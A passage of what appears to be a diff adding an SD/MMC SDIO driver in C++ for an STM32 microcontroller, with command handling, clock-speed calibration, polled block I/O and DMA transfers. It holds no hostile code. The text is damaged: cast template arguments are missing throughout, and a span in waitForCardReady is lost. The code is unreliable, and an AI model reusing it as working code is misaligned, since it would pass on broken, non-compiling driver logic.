Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; + +// +// Class BufferConverter +// + +/** + * \internal + * Convert a single buffer of *fixed* and predetermined size to and from + * word-aligned. To do so, if the buffer is already word aligned a cast is made, + * otherwise a new buffer is allocated. + * Note that this class allocates at most ONE buffer at any given time. + * Therefore any call to toWordAligned(), toWordAlignedWithoutCopy(), + * toOriginalBuffer() or deallocateBuffer() invalidates the buffer previousy + * returned by toWordAligned() and toWordAlignedWithoutCopy() + */ +class BufferConverter +{ +public: + /** + * \internal + * The buffer will be of this size only. + */ + static const int BUFFER_SIZE=512; + + /** + * \internal + * \return true if the pointer is word aligned + */ + static bool isWordAligned(const void *x) + { + return (reinterpret_cast(x) & 0x3)==0; + } + + /** + * \internal + * Convert from a constunsigned char* buffer of size BUFFER_SIZE to a + * const unsigned int* word aligned buffer. + * If the original buffer is already word aligned it only does a cast, + * otherwise it copies the data on the original buffer to a word aligned + * buffer. Useful if subseqent code will read from the buffer. + * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. + * \return a word aligned buffer with the same data of the given buffer + */ + static const unsigned int *toWordAligned(const unsigned char *buffer); + + /** + * \internal + * Convert from an unsigned char* buffer of size BUFFER_SIZE to an + * unsigned int* word aligned buffer. + * If the original buffer is already word aligned it only does a cast, + * otherwise it returns a new buffer which *does not* contain the data + * on the original buffer. Useful if subseqent code will write to the + * buffer. To move the written data to the original buffer, use + * toOriginalBuffer() + * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. + * \return a word aligned buffer with undefined content. + */ + static unsigned int *toWordAlignedWithoutCopy(unsigned char *buffer); + + /** + * \internal + * Convert the buffer got through toWordAlignedWithoutCopy() to the + * original buffer. If the original buffer was word aligned, nothing + * happens, otherwise a memcpy is done. + * Note that this function does not work on buffers got through + * toWordAligned(). + */ + static void toOriginalBuffer(); + + /** + * \internal + * Can be called to deallocate the buffer + */ + static void deallocateBuffer(); + +private: + static unsigned char *originalBuffer; + static unsigned int *wordAlignedBuffer; +}; + +const unsigned int *BufferConverter::toWordAligned(const unsigned char *buffer) +{ + originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do + if(isWordAligned(buffer)) + { + return reinterpret_cast(buffer); + } else { + if(wordAlignedBuffer==0) + wordAlignedBuffer=new unsigned int[BUFFER_SIZE/sizeof(unsigned int)]; + std::memcpy(wordAlignedBuffer,buffer,BUFFER_SIZE); + return wordAlignedBuffer; + } +} + +unsigned int *BufferConverter::toWordAlignedWithoutCopy( + unsigned char *buffer) +{ + if(isWordAligned(buffer)) + { + originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do + return reinterpret_cast(buffer); + } else { + originalBuffer=buffer; //Save original pointer for toOriginalBuffer() + if(wordAlignedBuffer==0) + wordAlignedBuffer=new unsigned int[BUFFER_SIZE/sizeof(unsigned int)]; + return wordAlignedBuffer; + } +} + +void BufferConverter::toOriginalBuffer() +{ + if(originalBuffer==0) return; + std::memcpy(originalBuffer,wordAlignedBuffer,BUFFER_SIZE); + originalBuffer=0; +} + +void BufferConverter::deallocateBuffer() +{ + originalBuffer=0; //Invalidate also original buffer + if(wordAlignedBuffer!=0) + { + delete[] wordAlignedBuffer; + wordAlignedBuffer=0; + } +} + +unsigned char *BufferConverter::originalBuffer=0; +unsigned int *BufferConverter::wordAlignedBuffer=0; + +// +// Class CmdResult +// + +/** + * \internal + * Contains the result of an SD/MMC command + */ +class CmdResult +{ +public: + + /** + * \internal + * Possible outcomes of sending a command + */ + enum Error + { + Ok=0, /// No errors + Timeout, /// Timeout while waiting command reply + CRCFail, /// CRC check failed in command reply + RespNotMatch,/// Response index does not match command index + ACMDFail /// Sending CMD55 failed + }; + + /** + * \internal + * Default constructor + */ + CmdResult(): cmd(0), error(Ok), response(0) {} + + /** + * \internal + * Constructor, set the response data + * \param cmd command index of command that was sent + * \param result result of command + */ + CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), + response(SDIO->RESP1) {} + + /** + * \internal + * \return the 32 bit of the response. + * May not be valid if getError()!=Ok or the command does not send a + * response, such as CMD0 + */ + unsigned int getResponse() { return response; } + + /** + * \internal + * \return command index + */ + unsigned char getCmdIndex() { return cmd; } + + /** + * \internal + * \return the error flags of the response + */ + Error getError() { return error; } + + /** + * \internal + * Checks if errors occurred while sending the command. + * \return true if no errors, false otherwise + */ + bool validateError(); + + /** + * \internal + * interprets this->getResponse() as an R1 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR1Response(); + + /** + * \internal + * Same as validateR1Response, but can be called with interrupts disabled. + * \return true on success, false on failure + */ + bool IRQvalidateR1Response(); + + /** + * \internal + * interprets this->getResponse() as an R6 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR6Response(); + + /** + * \internal + * \return the card state from an R1 or R6 resonse + */ + unsigned char getState(); + +private: + unsigned char cmd; ///<\internal Command index that was sent + Error error; ///<\internal possible error that occurred + unsigned int response; ///<\internal 32bit response +}; + +bool CmdResult::validateError() +{ + switch(error) + { + case Ok: + return true; + case Timeout: + DBGERR("CMD%d: Timeout\n",cmd); + break; + case CRCFail: + DBGERR("CMD%d: CRC Fail\n",cmd); + break; + case RespNotMatch: + DBGERR("CMD%d: Response does not match\n",cmd); + break; + case ACMDFail: + DBGERR("CMD%d: ACMD Fail\n",cmd); + break; + } + return false; +} + +bool CmdResult::validateR1Response() +{ + if(error!=Ok) return validateError(); + //Note: this number is obtained with all the flags of R1 which are errors + //(flagged as E in the SD specification), plus CARD_IS_LOCKED because + //locked card are not supported by this software driver + if((response & 0xfff98008)==0) return true; + DBGERR("CMD%d: R1 response error(s):\n",cmd); + if(response & (1<<31)) DBGERR("Out of range\n"); + if(response & (1<<30)) DBGERR("ADDR error\n"); + if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); + if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); + if(response & (1<<27)) DBGERR("ERASE param\n"); + if(response & (1<<26)) DBGERR("WP violation\n"); + if(response & (1<<25)) DBGERR("card locked\n"); + if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); + if(response & (1<<23)) DBGERR("command CRC failed\n"); + if(response & (1<<22)) DBGERR("illegal command\n"); + if(response & (1<<21)) DBGERR("ECC fail\n"); + if(response & (1<<20)) DBGERR("card controller error\n"); + if(response & (1<<19)) DBGERR("unknown error\n"); + if(response & (1<<16)) DBGERR("CSD overwrite\n"); + if(response & (1<<15)) DBGERR("WP ERASE skip\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +bool CmdResult::IRQvalidateR1Response() +{ + if(error!=Ok) return false; + if(response & 0xfff98008) return false; + return true; +} + +bool CmdResult::validateR6Response() +{ + if(error!=Ok) return validateError(); + if((response & 0xe008)==0) return true; + DBGERR("CMD%d: R6 response error(s):\n",cmd); + if(response & (1<<15)) DBGERR("command CRC failed\n"); + if(response & (1<<14)) DBGERR("illegal command\n"); + if(response & (1<<13)) DBGERR("unknown error\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +unsigned char CmdResult::getState() +{ + unsigned char result=(response>>9) & 0xf; + DBG("CMD%d: State: ",cmd); + switch(result) + { + case 0: DBG("Idle\n"); break; + case 1: DBG("Ready\n"); break; + case 2: DBG("Ident\n"); break; + case 3: DBG("Stby\n"); break; + case 4: DBG("Tran\n"); break; + case 5: DBG("Data\n"); break; + case 6: DBG("Rcv\n"); break; + case 7: DBG("Prg\n"); break; + case 8: DBG("Dis\n"); break; + case 9: DBG("Btst\n"); break; + default: DBG("Unknown\n"); break; + } + return result; +} + +// +// Class Command +// + +/** + * \internal + * This class allows sending commands to an SD or MMC + */ +class Command +{ +public: + + /** + * \internal + * SD/MMC commands + * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the + * sequence CMD55, CMDxx + * - bit from #0 to #5 indicate command index (CMD0..CMD63) + * - bit #6 is don't care + */ + enum CommandType + { + CMD0=0, //GO_IDLE_STATE + CMD2=2, //ALL_SEND_CID + CMD3=3, //SEND_RELATIVE_ADDR + ACMD6=0x80 | 6, //SET_BUS_WIDTH + CMD7=7, //SELECT_DESELECT_CARD + ACMD41=0x80 | 41, //SEND_OP_COND (SD) + CMD8=8, //SEND_IF_COND + CMD9=9, //SEND_CSD + CMD12=12, //STOP_TRANSMISSION + CMD13=13, //SEND_STATUS + CMD16=16, //SET_BLOCKLEN + CMD17=17, //READ_SINGLE_BLOCK + CMD18=18, //READ_MULTIPLE_BLOCK + ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) + CMD24=24, //WRITE_BLOCK + CMD25=25, //WRITE_MULTIPLE_BLOCK + CMD55=55 //APP_CMD + }; + + /** + * \internal + * Send a command. + * \param cmd command index (CMD0..CMD63) or ACMDxx command + * \param arg the 32 bit argument to the command + * \return a CmdResult object + */ + static CmdResult send(CommandType cmd, unsigned int arg) + { + if(static_cast(cmd) & 0x80) + { + DBG("ACMD%d\n",static_cast(cmd) & 0x3f); + } else { + DBG("CMD%d\n",static_cast(cmd) & 0x3f); + } + return IRQsend(cmd,arg); + } + + /** + * \internal + * Send a command. Can be called with interrupts disabled as it does not + * print any debug information. + * \param cmd command index (CMD0..CMD63) or ACMDxx command + * \param arg the 32 bit argument to the command + * \return a CmdResult object + */ + static CmdResult IRQsend(CommandType cmd, unsigned int arg); + + /** + * \internal + * Set the relative card address, obtained during initialization. + * \param r the card's rca + */ + static void setRca(unsigned short r) { rca=r; } + + /** + * \internal + * \return the card's rca, as set by setRca + */ + static unsigned int getRca() { return static_cast(rca); } + +private: + static unsigned short rca;///<\internal Card's relative address +}; + +CmdResult Command::IRQsend(CommandType cmd, unsigned int arg) +{ + unsigned char cc=static_cast(cmd); + //Handle ACMDxx as CMD55, CMDxx + if(cc & 0x80) + { + CmdResult r=IRQsend(CMD55,(static_cast(rca))<<16); + if(r.IRQvalidateR1Response()==false) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + //Bit 5 @ 1 = next command will be interpreted as ACMD + if((r.getResponse() & (1<<5))==0) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + } + + //Send command + cc &= 0x3f; + unsigned int command=SDIO_CMD_CPSMEN | static_cast(cc); + if(cc!=CMD0) command |= SDIO_CMD_WAITRESP_0; //CMD0 has no response + if(cc==CMD2) command |= SDIO_CMD_WAITRESP_1; //CMD2 has long response + if(cc==CMD9) command |= SDIO_CMD_WAITRESP_1; //CMD9 has long response + SDIO->ARG=arg; + SDIO->CMD=command; + + //CMD0 has no response, so wait until it is sent + if(cc==CMD0) + { + for(int i=0;i<500;i++) + { + if(SDIO->STA & SDIO_STA_CMDSENT) + { + SDIO->ICR=0x7ff;//Clear flags + return CmdResult(cc,CmdResult::Ok); + } + delayUs(1); + } + SDIO->ICR=0x7ff;//Clear flags + return CmdResult(cc,CmdResult::Timeout); + } + + //Command is not CMD0, so wait a reply + for(int i=0;i<500;i++) + { + unsigned int status=SDIO->STA; + if(status & SDIO_STA_CMDREND) + { + SDIO->ICR=0x7ff;//Clear flags + if(SDIO->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); + else return CmdResult(cc,CmdResult::RespNotMatch); + } + if(status & SDIO_STA_CCRCFAIL) + { + SDIO->ICR=SDIO_ICR_CCRCFAILC; + return CmdResult(cc,CmdResult::CRCFail); + } + if(status & SDIO_STA_CTIMEOUT) break; + delayUs(1); + } + SDIO->ICR=SDIO_ICR_CTIMEOUTC; + return CmdResult(cc,CmdResult::Timeout); +} + +unsigned short Command::rca=0; + +// +// Class DataResult +// + +/** + * \internal + * Contains the result of sending/receiving a data block + */ +class DataResult +{ +public: + + /** + * \internal + * Possible outcomes of sending or receiving data + */ + enum Error + { + Ok=0, + Timeout, + CRCFail, + RXOverrun, + TXUnderrun, + StartBitFail + }; + + /** + * \internal + * Default constructor + */ + DataResult(): error(Ok) {} + + /** + * \internal + * Constructor, set the result. + * \param error error type + */ + DataResult(Error error): error(error) {} + + /** + * \internal + * \return the error flags + */ + Error getError() { return error; } + + /** + * \internal + * Checks if errors occurred while sending/receiving data. + * \return true if no errors, false otherwise + */ + bool validateError(); + +private: + Error error; +}; + + +bool DataResult::validateError() +{ + switch(error) + { + case Ok: + return true; + case Timeout: + DBGERR("Data Timeout\n"); + break; + case CRCFail: + DBGERR("Data CRC Fail\n"); + break; + case RXOverrun: + DBGERR("Data overrun\n"); + break; + case TXUnderrun: + DBGERR("Data underrun\n"); + break; + case StartBitFail: + DBGERR("Data start bit Fail\n"); + break; + } + return false; +} + +// +// Class ClockController +// + +/** + * \internal + * This class controls the clock speed of the SDIO peripheral. The SDIO + * peripheral, when used in polled mode, requires two timing critical pieces of + * code: the one to send and the one to receive a data block. This because + * the peripheral has a 128 byte fifo while the block size is 512 byte, and + * if fifo underrun/overrun occurs the peripheral does not pause communcation, + * instead it simply aborts the data transfer. Since the speed of the code to + * read/write a data block depends on too many factors, such as compiler + * optimizations, code running from internal flash or external ram, and the + * cpu clock speed, a dynamic clocking approach was chosen. + */ +class ClockController +{ +public: + + /** + * \internal. Set a low clock speed of 400KHz or less, used for + * detecting SD/MMC cards. This function as a side effect enables 1bit bus + * width, and disables clock powersave, since it is not allowed by SD spec. + */ + static void setLowSpeedClock() + { + clockReductionAvailable=0; + // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus + // width, no clock bypass, no powersave. + // Set low clock speed 400KHz, 72MHz/400KHz-2=178 + SDIO->CLKCR=CLOCK_400KHz | SDIO_CLKCR_CLKEN; + SDIO->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles + } + + /** + * \internal + * Automatically select the data speed. + * Since the maximum speed depends on many factors, such as code running in + * internal or external RAM, compiler optimizations etc. this routine + * selects the highest sustainable data transfer speed. + * This is done by binary search until the highest clock speed that causes + * no errors is found. + * This function as a side effect enables 4bit bus width, and clock + * powersave. + */ + static void calibrateClockSpeed(SDIODriver *sdio); + + /** + * \internal + * Since clock speed is set dynamically by bynary search at runtime, a + * corner case might be that of a clock speed which results in unreliable + * data transfer, that sometimes succeeds, and sometimes fail. + * For maximum robustness, this function is provided to reduce the clock + * speed slightly in case a data transfer should fail after clock + * calibration. To avoid inadvertently considering other kind of issues as + * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS + * times after clock calibration, subsequent calls will fail. This will + * avoid other issues causing an ever decreasing clock speed. + * \return true on success, false on failure + */ + static bool reduceClockSpeed() { return IRQreduceClockSpeed(); } + + /** + * \internal + * Same as reduceClockSpeed(), can be called with interrupts disabled. + * \return true on success, false on failure + */ + static bool IRQreduceClockSpeed(); + + /** + * \internal + * Read and write operation do retry during normal use for robustness, but + * during clock claibration they must not retry for speed reasons. This + * member function returns 1 during clock claibration and MAX_RETRY during + * normal use. + */ + static unsigned char getRetryCount() { return retries; } + +private: + /** + * Set SDIO clock speed + * \param clkdiv speed is SDIOCLK/(clkdiv+2) + */ + static void setClockSpeed(unsigned int clkdiv); + + /** + * \internal + * Value of SDIO->CLKCR that will give a 400KHz clock, depending on cpu + * clock speed. + */ + static const unsigned int CLOCK_400KHz=cpuFrequency/400000-2; + + ///\internal Clock enabled, bus width 4bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | + SDIO_CLKCR_WIDBUS_0 | SDIO_CLKCR_PWRSAV; + + ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed + ///When using polled mode this is a critical parameter, if SDIO driver + ///starts to fail, it might be a good idea to increase this + static const unsigned char MAX_ALLOWED_REDUCTIONS=7; + + ///\internal value returned by getRetryCount() while *not* calibrating clock. + ///When using polled mode this is a critical parameter, if SDIO driver + ///starts to fail, it might be a good idea to increase this + static const unsigned char MAX_RETRY=10; + + ///\internal Used to allow only one call to reduceClockSpeed() + static unsigned char clockReductionAvailable; + + static unsigned char retries; +}; + +void ClockController::calibrateClockSpeed(SDIODriver *sdio) +{ + //During calibration we call readBlock which will call reduceClockSpeed() + //so not to invalidate calibration clock reduction must not be available + clockReductionAvailable=0; + retries=1; + + DBG("Automatic speed calibration\n"); + unsigned int buffer[512/sizeof(unsigned int)]; + unsigned int minFreq=CLOCK_400KHz; //400KHz, independent of CPU clock + unsigned int maxFreq=1; //24MHz with CPU running @ 72MHz + unsigned int selected; + while(minFreq-maxFreq>1) + { + selected=(minFreq+maxFreq)/2; + DBG("Trying CLKCR=%d\n",selected); + setClockSpeed(selected); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + minFreq=selected; + else maxFreq=selected; + } + //Last round of algorithm + setClockSpeed(maxFreq); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + { + DBG("Optimal CLKCR=%d\n",maxFreq); + } else { + setClockSpeed(minFreq); + DBG("Optimal CLKCR=%d\n",minFreq); + } + + //Make clock reduction available + clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; + retries=MAX_RETRY; +} + +bool ClockController::IRQreduceClockSpeed() +{ + //Ensure this function can be called only twice per calibration + if(clockReductionAvailable==0) return false; + clockReductionAvailable--; + + unsigned int currentClkcr=SDIO->CLKCR & 0xff; + if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value + + //If the value of clockcr is low, increasing it by one is enough since + //frequency changes a lot, otherwise increase by 2. + if(currentClkcr<10) currentClkcr++; + else currentClkcr+=2; + + setClockSpeed(currentClkcr); + return true; +} + +void ClockController::setClockSpeed(unsigned int clkdiv) +{ + //Don't enable hardware flow control even if SD_KEEP_CARD_SELECTED on stm32f1 + SDIO->CLKCR=clkdiv | CLKCR_FLAGS; + //Timeout 600ms expressed in SD_CK cycles + SDIO->DTIMER=(6*SystemCoreClock)/((clkdiv+2)*10); +} + +unsigned char ClockController::clockReductionAvailable=false; +unsigned char ClockController::retries=ClockController::MAX_RETRY; + +// +// Data send/receive functions +// + +/** + * \internal + * Wait until the card is ready for data transfer. + * Can be called independently of the card being selected. + * \return true on success, false on failure + */ +static bool waitForCardReady() +{ + //The card may remain busy for up to 500ms and there appears to be no way + //to set an interrupt to wait until it becomes ready again. We can't just + //poll for that long as if a high priority thread is stuck polling all lower + //priority threads block, so we are forced to do a sleep. The initial value + //of 2ms was found to be impacting performance excessively, so we take + //advantage of high resolution timers by sleeping for 200us, and fallback to + //the previous value only for slow configurations + #if !defined(__CODE_IN_XRAM) + const long long sleepTime=200000; + #else + const long long sleepTime=2000000; + #endif + long long timeout=getTime()+1500000000; //Timeout 1.5 second + do { + CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); + if(cr.validateR1Response()==false) return false; + //Bit 8 in R1 response means ready for data. + if(cr.getResponse() & (1<<8)) return true; + Thread::nanoSleep(sleepTime); + } while(getTime()DLEN and must match the size parameter given to this + * function. + * \param buffer buffer where to store received data. Its size must be >=size + * \param buffer size, which *must* be multiple of 8 words (32bytes) + * Note that the size parameter must be expressed in word (4bytes), while + * the value in SDIO->DLEN is expressed in bytes. + * \return a DataResult object + */ +static DataResult IRQreceiveDataBlock(unsigned int *buffer, unsigned int size) +{ + // A note on speed. + // Due to the auto calibration of SDIO clock speed being done with + // IRQreceiveDataBlock(), the speed of this function must be comparable + // with the speed of IRQsendDataBlock(), otherwise IRQsendDataBlock() + // will fail because of data underrun. + const unsigned int *bufend=buffer+size; + unsigned int status; + for(;;) + { + status=SDIO->STA; + if(status & (SDIO_STA_RXOVERR | SDIO_STA_DCRCFAIL | + SDIO_STA_DTIMEOUT | SDIO_STA_STBITERR | SDIO_STA_DBCKEND)) break; + if((status & SDIO_STA_RXFIFOHF) && (buffer!=bufend)) + { + //Read 8 words from the fifo, loop entirely unrolled for speed + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + *buffer=SDIO->FIFO; buffer++; + } + } + SDIO->ICR=0x7ff;//Clear flags + if(status & SDIO_STA_RXOVERR) return DataResult(DataResult::RXOverrun); + if(status & SDIO_STA_DCRCFAIL) return DataResult(DataResult::CRCFail); + if(status & SDIO_STA_DTIMEOUT) return DataResult(DataResult::Timeout); + if(status & SDIO_STA_STBITERR) return DataResult(DataResult::StartBitFail); + //Read eventual data left in the FIFO + for(;;) + { + if((SDIO->STA & SDIO_STA_RXDAVL)==0) break; + *buffer=SDIO->FIFO; buffer++; + } + return DataResult(DataResult::Ok); +} + +/** + * \internal + * Send a data block. The end of the data block must be told to the SDIO + * peripheral in SDIO->DLEN and must match the size parameter given to this + * function. + * \param buffer buffer where to store received data. Its size must be >=size + * \param buffer size, which *must* be multiple of 8 words (32bytes). + * Note that the size parameter must be expressed in word (4bytes), while + * the value in SDIO->DLEN is expressed in bytes. + * \return a DataResult object + */ +static DataResult IRQsendDataBlock(const unsigned int *buffer, unsigned int size) +{ + // A note on speed. + // Due to the auto calibration of SDIO clock speed being done with + // IRQreceiveDataBlock(), the speed of this function must be comparable + // with the speed of IRQreceiveDataBlock(), otherwise this function + // will fail because of data underrun. + const unsigned int *bufend=buffer+size; + unsigned int status; + for(;;) + { + status=SDIO->STA; + if(status & (SDIO_STA_TXUNDERR | SDIO_STA_DCRCFAIL | + SDIO_STA_DTIMEOUT | SDIO_STA_STBITERR | SDIO_STA_DBCKEND)) break; + if((status & SDIO_STA_TXFIFOHE) && (buffer!=bufend)) + { + //Write 8 words to the fifo, loop entirely unrolled for speed + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + SDIO->FIFO=*buffer; buffer++; + } + } + SDIO->ICR=0x7ff;//Clear flags + if(status & SDIO_STA_TXUNDERR) return DataResult(DataResult::TXUnderrun); + if(status & SDIO_STA_DCRCFAIL) return DataResult(DataResult::CRCFail); + if(status & SDIO_STA_DTIMEOUT) return DataResult(DataResult::Timeout); + if(status & SDIO_STA_STBITERR) return DataResult(DataResult::StartBitFail); + return DataResult(DataResult::Ok); +} + +/** + * \internal + * Read a single block of 512 bytes from an SD/MMC card. + * Card must be selected prior to caling this function. + * \param buffer, a buffer whose size is >=512 bytes, word aligned + * \param lba logical block address of the block to read. + */ +static bool singleBlockRead(unsigned int *buffer, unsigned int lba) +{ + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + if(waitForCardReady()==false) return false; + + CmdResult cr; + DataResult dr; + bool failed=true; + for(;;) + { + // Since we read with polling, a context switch or interrupt here + // would cause a fifo overrun, so we disable interrupts. + FastGlobalIrqLock dLock; + + SDIO->DLEN=512; + //Block size 512 bytes, block data xfer, from card to controller + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; + + cr=Command::IRQsend(Command::CMD17,lba); + if(cr.IRQvalidateR1Response()) + { + dr=IRQreceiveDataBlock(buffer,512/sizeof(unsigned int)); + SDIO->DCTRL=0; //Disable data path state machine + + //If failed because too slow check if it is possible to reduce speed + if(dr.getError()==DataResult::RXOverrun) + { + if(ClockController::IRQreduceClockSpeed()) + { + //Disabling interrupts for too long is bad + FastGlobalIrqUnlock eLock(dLock); + //After an error during data xfer the card might be a little + //confused. So send STOP_TRANSMISSION command to reassure it + cr=Command::send(Command::CMD12,0); + if(cr.validateR1Response()) continue; + } + } + + if(dr.getError()==DataResult::Ok) failed=false; + } + break; + } + if(failed) + { + cr.validateR1Response(); + dr.validateError(); + //After an error during data xfer the card might be a little + //confused. So send STOP_TRANSMISSION command to reassure it + cr=Command::send(Command::CMD12,0); + cr.validateR1Response(); + return false; + } + return true; +} + +/** + * \internal + * Write a single block of 512 bytes to an SD/MMC card + * Card must be selected prior to caling this function. + * \param buffer, a buffer whose size is >=512 bytes + * \param lba logical block address of the block to write. + */ +static bool singleBlockWrite(const unsigned int *buffer, unsigned int lba) +{ + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + if(waitForCardReady()==false) return false; + + bool failed=true; + CmdResult cr; + DataResult dr; + for(;;) + { + // Since we write with polling, a context switch or interrupt here + // would cause a fifo overrun, so we disable interrupts. + FastGlobalIrqLock dLock; + + cr=Command::IRQsend(Command::CMD24,lba); + if(cr.IRQvalidateR1Response()) + { + SDIO->DLEN=512; + //Block size 512 bytes, block data xfer, from controller to card + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DTEN; + + dr=IRQsendDataBlock(buffer,512/sizeof(unsigned int)); + SDIO->DCTRL=0; //Disable data path state machine + + //If failed because too slow check if it is possible to reduce speed + if(dr.getError()==DataResult::TXUnderrun) + { + if(ClockController::IRQreduceClockSpeed()) + { + //Disabling interrupts for too long is bad + FastGlobalIrqUnlock eLock(dLock); + //After an error during data xfer the card might be a little + //confused. So send STOP_TRANSMISSION command to reassure it + cr=Command::send(Command::CMD12,0); + if(cr.validateR1Response()) continue; + } + } + + if(dr.getError()==DataResult::Ok) failed=false; + } + break; + } + if(failed) + { + cr.validateR1Response(); + dr.validateError(); + //After an error during data xfer the card might be a little + //confused. So send STOP_TRANSMISSION command to reassure it + cr=Command::send(Command::CMD12,0); + cr.validateR1Response(); + return false; + } + return true; +} + +#else //SD_DMA + +/** + * \internal + * Prints the errors that may occur during a DMA transfer + */ +static void displayBlockTransferError() +{ + DBGERR("Block transfer error\n"); + if(dmaFlags & DMA_ISR_TEIF4) DBGERR("* DMA Transfer error\n"); + if(sdioFlags & SDIO_STA_STBITERR) DBGERR("* SDIO Start bit error\n"); + if(sdioFlags & SDIO_STA_RXOVERR) DBGERR("* SDIO RX Overrun\n"); + if(sdioFlags & SDIO_STA_TXUNDERR) DBGERR("* SDIO TX Underrun error\n"); + if(sdioFlags & SDIO_STA_DCRCFAIL) DBGERR("* SDIO Data CRC fail\n"); + if(sdioFlags & SDIO_STA_DTIMEOUT) DBGERR("* SDIO Data timeout\n"); +} + +/** + * \internal + * Read a given number of contiguous 512 byte blocks from an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes, word aligned + * \param nblk number of blocks to read. + * \param lba logical block address of the first block to read. + */ +static bool multipleBlockRead(unsigned int *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>511) + { + if(multipleBlockRead(buffer,511,lba)==false) return false; + buffer+=511*512; + nblk-=511; + lba+=511; + } + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + //Clear both SDIO and DMA interrupt flags + SDIO->ICR=0x7ff; + DMA2->IFCR=DMA_IFCR_CGIF4; + + driverError=false; + dmaTransferError=false; + sdioTransferError=false; + dmaFlags=sdioFlags=0; + waiting=Thread::getCurrentThread(); + + //Data transfer is considered complete once the DMA transfer complete + //interrupt occurs, that happens when the last data was written in the + //buffer. Both SDIO and DMA error interrupts are active to catch errors + SDIO->MASK=SDIO_MASK_STBITERRIE | //Interrupt on start bit error + SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun + SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout + DMA2_Channel4->CPAR=reinterpret_cast(&SDIO->FIFO); + DMA2_Channel4->CMAR=reinterpret_cast(buffer); + DMA2_Channel4->CNDTR=nblk*512/sizeof(unsigned int); + DMA2_Channel4->CCR=DMA_CCR_PL_1 | //High priority DMA stream + DMA_CCR_MSIZE_1 | //Write 32bit at a time to RAM + DMA_CCR_PSIZE_1 | //Read 32bit at a time from SDIO + DMA_CCR_MINC | //Increment RAM pointer + 0 | //Peripheral to memory direction + DMA_CCR_TCIE | //Interrupt on transfer complete + DMA_CCR_TEIE | //Interrupt on transfer error + DMA_CCR_EN; //Start the DMA + + SDIO->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + driverError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else sdioTransferError=true; + DMA2_Channel4->CCR=0; + while(DMA2_Channel4->CCR & DMA_CCR_EN) ; //DMA may take time to stop + SDIO->DCTRL=0; //Disable data path state machine + SDIO->MASK=0; + + // CMD12 is sent to end CMD18 (multiple block read), or to abort an + // unfinished read in case of errors + if(nblk>1 || driverError || sdioTransferError || dmaTransferError) + { + cr=Command::send(Command::CMD12,0); + if(driverError || dmaTransferError || sdioTransferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13,Command::getRca()<<16); + } + } + if(sdioTransferError || dmaTransferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} + +/** + * \internal + * Write a given number of contiguous 512 byte blocks to an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes, word aligned + * \param nblk number of blocks to write. + * \param lba logical block address of the first block to write. + */ +static bool multipleBlockWrite(const unsigned int *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>511) + { + if(multipleBlockWrite(buffer,511,lba)==false) return false; + buffer+=511*512; + nblk-=511; + 